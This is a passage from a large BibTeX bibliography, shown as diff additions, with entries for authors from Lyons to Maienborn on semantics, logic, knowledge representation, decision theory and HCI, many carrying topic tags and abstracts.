lyons_j:1996a, + author = {John Lyons}, + title = {Linguisitc Semantics}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + xref = {Review: cresswell_mj:1979b.}, + topic = {nl-semantics;} + } + +@book{ lyons_w:1995a, + author = {William G. Lyons}, + title = {Approaches to Intentionality}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + xref = {Review: cresswell_mj:1979b.}, + ISBN = {0-19-875222-9 (paperback), 0-19-823526-7 (hardback)}, + topic = {intention;} + } + +@incollection{ lytinen:1992a, + author = {Steven L. Lytinen}, + title = {Conceptual Dependency and Its Descendents}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {51--73}, + address = {Oxford}, + xref = {Also published in Computers and Mathematics with Applications; + vol. 23; 1992;51--73}, + topic = {kr;conceptual-dependency;kr-course;} + } + +@incollection{ lytinen:1992b, + author = {Steven L. Lytinen}, + title = {A Unification-Based, Integrated Natural Language + Processing System}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {403--418}, + address = {Oxford}, + topic = {kr;semantic-networks;nl-semantic-representation-formalisms; + unification;feature-structures;ill-formed-nl-input;kr-course;} + } + +@inproceedings{ ma_jx-knight_b:1999a, + author = {Jixin Ma and Brian Knight}, + title = {An Approach to the Frame Problem Based on Set + Operations}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {95--102}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;frame-problem;} + } + +@incollection{ ma_y-wilkins:1991a, + author = {Yong Ma and David C. Wilkins}, + title = {Induction of Uncertain Rules and the Sociopathicity + Property}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {238--245}, + address = {Berlin}, + topic = {machine-learning;Dempster-Shafer-theory;} + } + +@phdthesis{ maat:1999a, + author = {Jaap Maat}, + title = {Philosophical Languages in the Seventeenth Century: + {D}algarno, {W}ilkins, {L}eibniz}, + school = {Institute for Logic, Language, and Computation, + University of Amsterdam}, + year = {1999}, + type = {Ph.{D}. Dissertation}, + address = {Amsterdam}, + topic = {artificial-languages;Leibniz;history-of-linguistics; + Seventeenth-Century-philosophy;} + } + +@book{ macaulay:1995a, + author = {Linda Macaulay}, + title = {Human-Computer Interaction For Software Designers}, + publisher = {International Thomson Computer Press}, + year = {1995}, + address = {London}, + ISBN = {1850321779 (pbk)}, + topic = {HCI;} + } + +@article{ maccaull:1998a, + author = {Wendy MacCaull}, + title = {Relational Semantics and a Relational Proof System for + the full {L}ambek Calculus}, + journal = {Journal of Symbolic Logic}, + year = {1998}, + volume = {63}, + number = {2}, + pages = {623--637}, + topic = {Lambek-calculus;substructural-logics;} + } + +@article{ maccaull-orlowska:2002a, + author = {Wendy Maccaull and Ewa Orlowska}, + title = {Correspondence Results for Relational Proof Systems with + Application to the {L}ambek Calculus}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {3}, + pages = {389--414}, + topic = {Lambek-calculus;} + } + +@incollection{ maccrimmon-wehrung:1977a, + author = {Kenneth R. MacCrimmon and Donald A. Wehrung}, + title = {Trade-Off Analysis: The Indifference and Preferred + Proportions Approaches}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {123--147}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;foundations-of-utility;} + } + +@book{ macdonald_g-pettit:1981a, + author = {Graham Macdonald and Philip Pettit}, + title = {Semantics and Social Science}, + publisher = {Routledge and Kegan Paul}, + year = {1981}, + address = {London}, + ISBN = {0710007833}, + topic = {philosophy-of-social-science;} + } + +@book{ macdonald_g-wright_c:1986a, + editor = {Graham Macdonald and Crispin Wright}, + title = {Fact, Science, and Morality: Essays On {A.J.} {A}yer's + `{L}anguage, Truth, and Logic'}, + publisher = {Blackwell}, + year = {1986}, + address = {Oxford}, + ISBN = {0631145559}, + topic = {analytic-philosophy;} + } + +@book{ macdonald_gf:1979a, + editor = {G.F. Macdonald}, + title = {Perception and Identity: Essays Presented To {A.J.} {A}yer, + with His Replies to Them}, + publisher = {Macmillan}, + year = {1979}, + address = {London}, + contentnote = {TC: + 1. Michel Dummett, "Common Sense and Physics" + 2. Peter f. Strawson, "Perception and Its Objects" + 3. David Pears, "A Comparison between {A}yer's Views about + the Privileges of Sense-Datum Statements and the + Views of {R}ussell and {A}ustin" + 4. David M. Armstrong, "Perception, Sense Data, and Causality" + 5. Charles Taylor, "Sense Data Revisited" + 6. J.L. Mackie, "A Defence of Induction" + 7. David Wiggins, "Ayer on Monism, Pluralism, and Essence" + 10. J. Foster, "In Self-Defence" + 11. D. Wollheim, "Memory, Experiential Memory, and Personal Identity" + 12. Peter Unger, "I Do Not Exist" + 13. Williams, "Another Time, Another Place, Another Person" + 14. Steven K\"orner, "Ayer on Metaphysics" + 15. A.J. Ayer, "Replies" + } , + ISBN = {0333271823}, + topic = {analytic-philosophy;} + } + +@book{ macdonald_l-vince:1994a, + editor = {Lindsay MacDonald and John Vince}, + title = {Interacting With Virtual Environments}, + publisher = {John Wiley and Sons}, + year = {1994}, + address = {Chichester}, + ISBN = {0471939412}, + topic = {virtual-reality;HCI;} + } + +@book{ macdonell:1986a, + author = {Diane MacDonell}, + title = {Theories of Discourse: An Introduction}, + publisher = {Blackwell Publishers}, + year = {1986}, + address = {Oxford}, + contentnote = {Title is misleading. This is about French + poststructuralism; e.g. Foucault. Political overtones.}, + topic = {poststructuralism;} +} + +@unpublished{ macfarlane:1999a, + author = {John Macfarlane}, + title = {Frege, {K}ant, and the Logic in Logicism}, + year = {1999}, + note = {Unpublished manuscript, Philosophy Department, + University of Pittsburgh.}, + topic = {logicism;Kant;Frege;philosopy-of-logic;} + } + +@article{ macgregor_jn:1988a, + author = {James N. MacGregor}, + title = {The Effects of Order on Learning Classifications + by Example: Heuristics for Finding the Optimal Order}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {34}, + number = {3}, + pages = {361--370}, + topic = {machine-learning;heuristics;} + } + +@inproceedings{ macgregor_rm:1988a, + author = {Robert M. MacGregor}, + title = {A Deductive Pattern Matcher}, + booktitle = {Proceedings of the Seventh National Conference on + Artificial Intelligence}, + year = {1988}, + editor = {Reid Smith and Tom Mitchell}, + pages = {403--408}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;classifier-algorithms;automatic-classification; + taxonomic-logics;kr-course;} + } + +@inproceedings{ macgregor_rm:1992a, + author = {Robert M. Macgregor}, + title = {What's Needed to Make a Description Logic a Good {KR} Citizen}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {53--55}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;} + } + +@inproceedings{ macgregor_rm-brill:1992a, + author = {Robert M. MacGregor and David Brill}, + title = {Recognition Algorithms for the {\sc loom} Classifier}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {774--761}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;classifier-algorithms;taxonomic-logics;kr-course;} + } + +@inproceedings{ macgregor_rm:1994a, + author = {Robert M. MacGregor}, + title = {A Description Classifier for the Predicate Calculus}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {213--222}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;classifier-algorithms;taxonomic-logics;kr-course;} + } + +@incollection{ macgregor_rm:1996a, + author = {Robert M. MacGregor}, + title = {Implementations and Research: Discussions at the Boundary + (Position Statement)}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {656--658}, + address = {San Francisco, California}, + topic = {kr;AI-implementations;kr-course;} + } + +@article{ machina_kf:1972a, + author = {Kenton F. Machina}, + title = {Vague Predicates}, + journal = {American Philosophical Quarterly}, + year = {1972}, + volume = {9}, + pages = {225--233}, + missinginfo = {number}, + topic = {vagueness;} + } + +@article{ machina_kf:1975a1, + author = {Kenton F. Machina}, + title = {Truth, Belief, and Vagueness}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {5}, + number = {1}, + pages = {47--78}, + xref = {Republication: machina_kf:1975a2.}, + topic = {vagueness;epistemic-logic;} + } + +@incollection{ machina_kf:1975a2, + author = {Kenton F. Machina}, + title = {Truth, Belief, and Vagueness}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {174--203}, + address = {Cambridge, Massachusetts}, + xref = {Republication of machina_kf:1975a1.}, + topic = {vagueness;} + } + +@article{ machina_m:1987a, + author = {Mark J. Machina}, + title = {Choice Under Uncertainty: Problems Solved and Unsolved}, + journal = {Journal of Economic Perspectives}, + year = {1987}, + volume = {1}, + number = {1}, + pages = {121--154}, + month = {Summer}, + topic = {decision-theory;} + } + +@incollection{ machina_m:1988a, + author = {Mark J. Machina}, + title = {Generalized Expected Utility Analysis and the Nature of + Observed Violations of the Independence Axiom}, + booktitle = {Decision, Probability, Utility: Selected Readings}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Peter G\"ardenfors and Nils-Eric Sahlin}, + pages = {215--239}, + address = {Cambridge, England}, + topic = {decision-theory;} + } + +@article{ machina_m:1989a, + author = {Mark J. Machina}, + title = {Dynamic Consistency and Non-Expected Utility Models + of Choice Under Uncertainty}, + journal = {Journal of Economic Literature}, + year = {1989}, + volume = {XXVII}, + number = {4}, + pages = {1622--1668}, + month = {December}, + topic = {decision-theory;} + } + +@book{ machover:1995a, + author = {Mosh\'e Machover}, + title = {Set theory, Logic and Their Limitations}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {logic-intro;} + } + +@article{ macintosh:1998a, + author = {J.J. MacIntosh}, + title = {Aquinas and {O}ckham on Time, Predestination and the + Unexpected Examination}, + journal = {Franciscan Studies}, + year = {1998}, + volume = {55}, + pages = {181--220}, + missinginfo = {A's 1st name, number}, + acontentnote = {Abstract: + In this paper I outline and discuss the views of Aquinas and + Ockham concerning time and predestination and indicate some of + the tense logic theorems which, without anachronism, may be + ascribed to Ockham. I then consider the development of Ockham's + system due to Prior and Thomason, and show that an Ockhamist + account of time as future branching, along with the associated + Ockhamist modal theorems, provides a solution to the unexpected + examination paradox, a solution which, unlike most resolutions + of this puzzle, eschews epistemic considerations and offers a + purely modal way out.}, + topic = {(in)determinism;surprise-examination-paradox; + scholastic-philosophy;} + } + +@book{ mackay_aa:1980a, + author = {Arthur A. MacKay}, + title = {Arrow's Theorem: The Paradox of Social Choice}, + publisher = {Yale University Press}, + year = {1980}, + address = {New Haven}, + topic = {Arrow's-theorem;social-choice-theory;} + } + +@article{ mackay_ae:1972a, + author = {Alfred F. MacKay}, + title = {Professor {G}rice's Theory of Meaning}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {321}, + pages = {57--66}, + topic = {speaker-meaning;Grice;} + } + +@phdthesis{ mackay_af:1966a, + author = {Alfred F. MacKay}, + title = {Speech Acts}, + school = {University of North Carolina}, + year = {1966}, + type = {Ph.{D}. Dissertation}, + missinginfo = {address}, + topic = {speech-acts;pragmatics;} + } + +@book{ mackay_af-merrill_dd:1976a, + editor = {Alfred F. Mackay and Merrill}, + title = {Issues in the Philosophy of Language}, + publisher = {Yale University Press}, + year = {1976}, + address = {New Haven}, + xref = {Review: bigelow:1978b.}, + topic = {philosophy-of-language;hyperintensionality;} + } + +@book{ mackay_we:1990a, + author = {Wendy E. Mackay}, + title = {Resources in Human-Computer Interaction}, + publisher = {ACM Press}, + year = {1990}, + address = {New York}, + ISBN = {0897913736}, + topic = {HCI;} + } + +@article{ mackenzie:1978a, + author = {J.D. Mackenzie}, + title = {Question-Begging in Non-Cumulative Systems}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {8}, + number = {1}, + pages = {117--133}, + topic = {dialogue-logic;} + } + +@article{ mackenzie:1984a, + author = {Jim Mackenzie}, + title = {Confirmation of a Conjecture of {P}eter of {S}pain + Concerning Question-Begging Arguments}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {1}, + pages = {35--45}, + xref = {Commentary: wilson:1993a.}, + topic = {dialogue-logic;argumentation;} + } + +@incollection{ mackie:1962a, + author = {John L. Mackie}, + title = {Counterfactuals and Causal Laws}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {66--80}, + address = {New York}, + topic = {causality;conditionals;} + } + +@article{ mackie:1965a, + author = {John L. Mackie}, + title = {Causes and Conditions}, + journal = {American Philosophical Quarterly}, + year = {1965}, + volume = {2}, + pages = {245--255 and 261--264}, + missinginfo = {numbers}, + topic = {causality;conditionals;} + } + +@book{ mackie:1974a, + author = {John L. Mackie}, + title = {The Cement of the Universe: A Study in Causation}, + publisher = {Oxford University Press}, + year = {1974}, + address = {Oxford}, + topic = {causality;} + } + +@article{ mackie:1977a, + author = {John L. Mackie}, + title = {Dispositions, Grounds, and Causes}, + journal = {Synth\'ese}, + year = {1977}, + volume = {34}, + pages = {361--370}, + missinginfo = {number}, + topic = {dispositions;} + } + +@incollection{ mackie:1979a, + author = {John L. Mackie}, + title = {Mind, Brain, and Causation}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {19--29}, + address = {Minneapolis}, + topic = {mind-body-problem;causality;} + } + +@incollection{ mackintosh:1994a, + author = {Nicholas Mackintosh}, + title = {Intelligence in Evolution}, + booktitle = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {1994}, + editor = {Jean Khalfa}, + pages = {27--48}, + address = {Cambridge, England}, + topic = {intelligence;evolution;} + } + +@article{ mackworth:1973a, + author = {Alan K. Mackworth}, + title = {Interpreting Pictures of Polyhedral Scenes}, + journal = {Artificial Intelligence}, + year = {1973}, + volume = {4}, + number = {2}, + pages = {121--137}, + acontentnote = {Abstract: + A program that achieves the interpretation of line drawings as + polyhedral scenes is described. The method is based on general + coherence rules that the surfaces and edges must satisfy, + thereby avoiding the use of predetermined interpretations of + particular categories of picture junctions and corners. } , + topic = {line-drawings;} + } + +@article{ mackworth:1977a, + author = {Alan K. Mackworth}, + title = {Consistency in Networks of Relations}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {1}, + pages = {99--118}, + acontentnote = {Abstract: + Artificial intelligence tasks which can be formulated as + constraint satisfaction problems, with which this paper is for + the most part concerned, are usually solved by backtracking. By + examining the thrashing behavior that nearly always accompanies + backtracking, identifying three of its causes and proposing + remedies for them we are led to a class of algorithms which can + profitably be used to eliminate local (node, arc and path) + inconsistencies before any attempt is made to construct a + complete solution. A more general paradigm for attacking these + tasks is the alternation of constraint manipulation and case + analysis producing an OR problem graph which may be searched in + any of the usual ways. + Many authors, particularly Montanari and Waltz, have + contributed to the development of these ideas; a secondary aim + of this paper is to trace that history. The primary aim is to + provide an accessible, unified framework, within which to + present the algorithms including a new path consistency + algorithm, to discuss their relationships and the many + applications, both realized and potential, of network + consistency algorithms.}, + contentnote = {This appears to be the original arc inconsistency + paper.}, + xref = {Republication: macworth:1977a2.}, + topic = {constraint-satisfaction;AI-algorithms-analysis; + arc-(in)consistency;} + } + +@article{ mackworth-freuder:1985a, + author = {Alan K. Mackworth and Eugene C. Freuder}, + title = {The Complexity of Some Polynomial Network Consistency + Algorithms for Constraint Satisfaction Problems}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {1}, + pages = {65--74}, + topic = {constraint-satisfaction;complexity-in-AI;} + } + +@article{ mackworth:1989a, + author = {Alan K. Mackworth}, + title = {Review of {\it Computation and Cognition: Toward a + Foundation of Cognitive Science}, by {Z}.{W}. {P}ylyshyn}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {2}, + pages = {239--240}, + xref = {Review of pylyshyn:1984a.}, + topic = {philosophy-of-linguistics;competence;philosophy-of-cogsci; + foundations-of-cognitive-science;} + } + +@article{ mackworth-freuder:1993a, + author = {Alan K. Mackworth and Eugene C. Freuder}, + title = {The Complexity of Constraint Satisfaction Revisited}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {57--62}, + xref = {Retrospective commentary on mackworth-freuder:1985a.}, + topic = {constraint-satisfaction;complexity-in-AI;} + } + +@incollection{ maclay:1971a, + author = {Howard Maclay}, + title = {Overview}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {157--182}, + address = {Cambridge, England}, + topic = {nl-semantics;nl-syntax;} + } + +@article{ macleod-schotch:2000a, + author = {Mary C. MacLeod and Peter K. Schotch}, + title = {Remarks on the Modal Logic of {H}enry {B}radford + {S}mith}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {6}, + pages = {603--615}, + topic = {modal-logic;history-of-logic;} + } + +@book{ macnamara-reyes:1994a, + editor = {John Macnamara and Gonzalo E. Reyes}, + title = {The Logical Foundations of Cognition}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + contentnote = {TC: + I. Theoretical Orientation + 1. John Macnamara and Gonzalo E. Reyes, "Introduction" + 2. John Macnamara, "Logic and Cognition" + 3. Hilary Putnam, "Logic and Psychology: Comment on + 'Logic and Cognition' " + 4. F. William Lawvere, "Tools for the Advancement of + Objective Logic: Closed Categories and Toposes" + II. Logic + 5. Fran\c{c}ois Magnan and Gonzalo E. Reyes, "Category Theory + as a Conceptual Tool in the Study of Cognition" + 6. Marie La Palme Reyes, John Macnamara and Gonzalo E. Reyes, + "Reference, Kinds and Predicates" + III. Psychology + 7.John Macnamara and Gonzalo E. Reyes, "Foundational Issues + in the Learning of Proper Names, Count Nouns and Mass + Nouns" + 10.Alberto Peruzzi, "Prolegomena to a Theory of Kinds" + 11.D. Geoffrey Hall, "How Children Learn Common Nouns and Proper Names" + 12. Martin D.S. Braine, "Mental Logic and How to Discover It" + IV. Linguistics + 13. Emmon Bach, "The Semantics of Syntactic Categories" + 14. Francis Jeffrey Pelletier, "Some Issues Involving Internal + and External Semantics" + V. Intentionality + 15. F{\o}llesdal, "Husserl's Notion of Intentionality" + 16. Marie La Palme Reyes, "Referential Structure of Fictional Texts" + 17. Martin Hahn, "How Not to Draw the de re/de dicto Distinction" + 18. Philip P. Hanson, "Cognitive Content and Semantics: + Comment on `How Not to Draw the de re/de dicto + Distinction'\," + } , + ISBN = {0-19-509215-5 (cloth), 0-19-509216-3 (paper)}, + topic = {foundations-of-cognition;logic-and-cognition;} + } + +@incollection{ macnish:1991a, + author = {Craig MacNish}, + title = {Hierarchical Default Logic}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {246--253}, + address = {Berlin}, + topic = {default-logic;default-preferences;} + } + +@book{ macnish-etal:1994a, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + title = {Logics in Artificial Intelligence: Proceedings of {E}uropean + Workshop {JELIA} '94, {Y}ork, {UK}, September 5-8, 1994}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + ISBN = {3-540-58332-7 (Softcover)}, + topic = {logic-in-AI-survey;} + } + +@incollection{ macrae:1985a, + author = {C. Duncan MacRae}, + title = {Tax Problem Solving with an If-Then System}, + booktitle = {Computing Power and Legal Reasoning}, + publisher = {West Publishing Co.}, + editor = {Charles Walter}, + year = {1985}, + pages = {595--620}, + address = {Saint Paul, Minnesota}, + topic = {legal-reasoning;tax-law;} + } + +@incollection{ macrandal:1988a, + author = {Damian MacRandal}, + title = {Semantic Networks}, + booktitle = {Approaches to Knowledge Representation: an Introduction}, + publisher = {John Wiley and Sons}, + year = {1988}, + editor = {G.A. Ringland and D.A. Duce}, + chapter = {3}, + pages = {45--79}, + address = {New York}, + topic = {kr;semantic-nets;kr-course;} + } + +@incollection{ macworth:1977a2, + author = {Alan Macworth}, + title = {Consistency in Networks of Relations}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {69--78}, + address = {Los Altos, California}, + xref = {Journal Publication: macworth:1977a1.}, + topic = {constraint-satisfaction;AI-algorithms-analysis; + arc-(in)consistency;} + } + +@book{ maddix:1990a, + author = {Frank Maddix}, + title = {Human-Computer Interaction: Theory and Practice}, + publisher = {New York}, + year = {1990}, + address = {New York}, + ISBN = {0134462386}, + topic = {HCI;} + } + +@article{ maddux:1998a, + author = {Roger Maddux}, + title = {Review of {\em Arrow Logic and Multimodal Logic}, + edited by {M}aarten {M}arx and {L}\'azl\'o {P}\'olos and {M}ichael + {M}asuch}, + journal = {Journal of Symbolic Logic}, + year = {1998}, + volume = {63}, + number = {1}, + pages = {333--336}, + topic = {arrow-logic;} + } + +@incollection{ maddy:1984a, + author = {Penelope Maddy}, + title = {How the Causal Theorist Follows a Rule}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {457--477}, + address = {Minneapolis}, + topic = {causality;rule-following;} + } + +@article{ maddy:1996a, + author = {Penelope Maddy}, + title = {Set Theoretic Naturalism}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {2}, + pages = {490--514}, + topic = {foundations-of-set-theory;philosophy-of-mathematics;} + } + +@book{ maddy:1997a, + author = {Penelope Maddy}, + title = {Naturalism in Mathematics}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + xref = {Review: balaguer:199a.}, + topic = {philosophy-of-mathematics;foundations-of-set-theory;} + } + +@article{ madsen-jensen_fv:1999a, + author = {Anders L. Madsen and Finn V. Jensen}, + title = {{\sc Lazy} Progagation: A Junction Tree Inference + Algorithm Based on Lazy Evaluation}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {203--245}, + topic = {bayesian-networks;} + } + +@book{ magnani-etal:1999a, + editor = {Lorenzo Magnani and Nancy J. Nersessian and Paul + Thagard}, + title = {Model-Based Reasoning in Scientific Discovery}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0306462923}, + topic = {model-based-reasoning;scientific-discovery; + philosophy-of-science;} + } + +@article{ mahadevan-etal:1993a, + author = {Sridhar Mahadevan and Tom M. Mitchell and Jack Mostow and + Lou Steinberg and Prasad V. Tadepalli}, + title = {An Apprentice-Based Approach to Knowledge Acquisition}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {1}, + pages = {1--52}, + acontentnote = {Abstract: + We explore here the feasibility of learning apprentice programs: + interactive knowledge-based assistants that learn by observing + and analyzing the problem-solving steps of their users. In + particular, we describe a learning apprentice for digital + circuit design, called LEAP. LEAP learns feasible ways of + decomposing circuit modules into submodules, as well as the + recommended method when there are competing feasible + decompositions. VBL is an explanation-based learning technique + used in LEAP to infer problem-reduction operators for + decomposing circuit modules. PED is a general extension of + explanation-based learning to incomplete domain theories + containing determinations. PED is used in LEAP to learn control + rules for ranking alternative decompositions as well as to + extend LEAP's partial theory of circuit cost. An experimental + study shows that by using this approach LEAP can learn a + significant subset of a manually created knowledge base for + boolean circuit design. The experimental study also reveals some + limitations of LEAP, and more generally suggests directions for + further research in building effective learning apprentice + systems. + } , + topic = {machine-learning;learning-apprentices;circuit-design; + explanation-based-learning;} + } + +@article{ mahanti-daniels:1993a, + author = {Ambuj Mahanti and Charles J. Daniels}, + title = {A {SIMD} Approach to Parallel Heuristic Search}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {60}, + number = {2}, + pages = {243--282}, + acontentnote = {Abstract: + Serial search algorithms often exhibit exponential run times and + may require an exponential amount of storage as well. Thus, the + design of parallel search algorithms with limited memory is of + obvious interest. This paper presents an efficient SIMD parallel + algorithm, called IDPS (for iterative-deepening parallel + search). At a broad level IDPS is a parallel version of IDA*. + While generically we have called our algorithm an IDPS, + performance of four variants of it has been studied through + experiments conducted on the well-known test-bed problem for + search algorithms, namely the Fifteen Puzzle. During the + experiments, data were gathered under two different static load + balancing schemes. Under the first scheme, an unnormalized + average efficiency of approximately 3/4 was obtained for 4K, 8K, + and 16K processors. Under the second scheme, unnormalized + average efficiencies of 0.92 and 0.76, and normalized average + efficiencies of 0.70 and 0.63 were obtained for 8K and 16K + processors, respectively. We show (as shown previously only for + MIMD machines) that for admissible search, high average speedup + can be obtained for problems of significant size. We believe + that this research will enhance AI problem solving using + parallel heuristic search algorithms. } , + topic = {heuristics;search;parallel-processing;} + } + +@article{ maher:1984a, + author = {Patrick Maher}, + title = {Review of {\em The Enterprise of Knowledge}, by {I}saac + {L}evi}, + journal = {Philosophy of Science}, + year = {1984}, + volume = {51}, + number = {4}, + pages = {690--692}, + xref = {Review of levi_i:1980a.}, + topic = {foundations-of-probability;belief-revision; + probability-kinematics;} + } + +@inproceedings{ maher:1990a, + author = {Patrick Maher}, + title = {Acceptance Without Belief}, + booktitle = {{PSA} 1990: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 1}, + year = {1990}, + editor = {Arthur Fine and Micky Forbes and Linda Wessels}, + pages = {381--392}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + contentnote = {According to Harper, + it shows there are analogs of the lottery paradox for + probabilistic theories that represent full belief as + P(A) = 1.}, + topic = {epistemic-logic;probability-kinematics;belief;} + } + +@book{ maher:1993a, + author = {Patrick Maher}, + title = {Betting on Theories}, + publisher = {Cambridge University Press}, + year = {1993}, + address = {Cambridge, England}, + topic = {confirmation-theory;} + } + +@article{ maher:2002a, + author = {Patrick Maher}, + title = {Joyce's Argument for Probabilism}, + journal = {Philosophy of Science}, + year = {2002}, + volume = {69}, + number = {1}, + pages = {29--81}, + xref = {Commentary on: joyce:1998a.}, + topic = {foundations-of-probability;} + } + +@article{ maida-shapiro:1982a1, + author = {Anthony S. Maida and Stuart C. Shapiro}, + title = {Intensional Concepts in Propositional Semantic Networks}, + journal = {Cognitive Science}, + year = {1982}, + volume = {6}, + pages = {291--330}, + xref = {Republished in Ronald J. Brachman and Hector J. Levesque; + Readings in Knowledge Representation; 1995. See + maida-shapiro:1982a2.}, + topic = {kr;SNePS;kr-course;} + } + +@incollection{ maida-shapiro:1982a2, + author = {Anthony S. Maida and Stuart C. Shapiro}, + title = {Intensional Concepts in Propositional Semantic Networks}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {169--189}, + xref = {First published in Cognitive Science 6; 1982. See + maida-shapiro:1982a1.}, + topic = {kr;SNePS;kr-course;} + } + +@article{ maida-etal:1989a, + author = {Anthony S. Maida and Jacques Wainer and Sehyeong Cho}, + title = {A Syntactic Approach to Introspection and Reasoning + about the Beliefs of Other Agents}, + journal = {Fundamenta Informaticae}, + year = {1991}, + volume = {15}, + number = {3--4}, + pages = {333--356}, + topic = {propositional-attitude-ascription;} + } + +@article{ maida:1991a, + author = {Anthony S. Maida}, + title = {Maintaining Mental Models of Agents Who Have Existential + Misconceptions}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {3}, + pages = {331--383}, + topic = {agent-attitudes;reasoning-about-attitudes;agent-modeling; + (non)existence;} + } + +@incollection{ maida:1992a, + author = {Anthony S. Maida}, + title = {Knowledge-Based Requirements for Description-Based + Communication}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {232--243}, + address = {San Mateo, California}, + topic = {kr;;kr-course;} + } + +@inproceedings{ maienborn:1995a, + author = {Claudia Maienborn}, + title = {Towards a Compositional Semantics for Locative + Modifiers}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {237--254}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = 